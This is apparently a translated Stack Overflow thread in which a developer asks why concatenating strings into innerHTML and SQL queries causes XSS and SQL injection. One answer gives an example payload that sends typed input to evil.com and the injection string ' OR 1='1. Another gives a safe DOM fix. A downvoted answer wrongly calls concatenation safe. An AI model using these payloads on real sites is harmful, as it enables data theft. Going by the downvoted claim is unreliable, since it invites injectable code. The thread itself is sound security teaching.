我最近被告知(在这里)连接你的Javascript会导致XSS漏洞。我已经在这里和谷歌做了我的研究,以找出为什么这么糟糕,但我没有看到它。
第1部分 - Javascript:显然这样的事情是不安全的。为什么?你应该怎么做呢?
// part of a script dynamically making table rows
var el = document.createElement('div');
el.innerHTML = '<input type="text" id="myId'+id+'" />';
cellOne.appendChild(el);
第2部分 - MySQL:我告诉你,当你连接SQL时,它会让你暴露于SQL注入。我不确定concat SQL的含义是什么。我假设他们不是在讨论SQL concat函数。我猜他们的意思是:
$sql = " SELECT `col` FROM `table` WHERE `col` = '".$myFilteredVariable."' ";
或者也许?
$sql = " SELECT `col` FROM `table` WHERE `col` = '".$myFilteredVariable."' ";
$sql .= " AND `col2` = '".$myvar.'";
这会让你暴露于SQL注入吗?
SQL部分是学术性的。我使用PDO来防止SQL注入。
答案 0 :(得分:3)
如果id
来自页面上持续存在的用户输入,则可能是这样。
id
变量可能包含...
" onchange="(new Image).src='http://evil.com/user-input=' + this.value;" bla="
除非使用正确的机制转义这些变量,否则存在漏洞。
$myvar
变量可能包含...
' OR 1='1
答案 1 :(得分:2)
你会怎么做呢:
var el = document.createElement('div');
var input = document.createElement("input");
input.type = 'text';
input.id = 'myId' + id;
el.appendChild(input);
cellOne.appendChild(el);
请注意,这样更安全,因为.id
无法注入任意html
有关XSS攻击媒介的更多信息,建议您阅读OWASP xss article
答案 2 :(得分:-2)
这是一个串联问题,而不是xss或sql注入的问题。
连接本身没有错。这是非常安全的操作。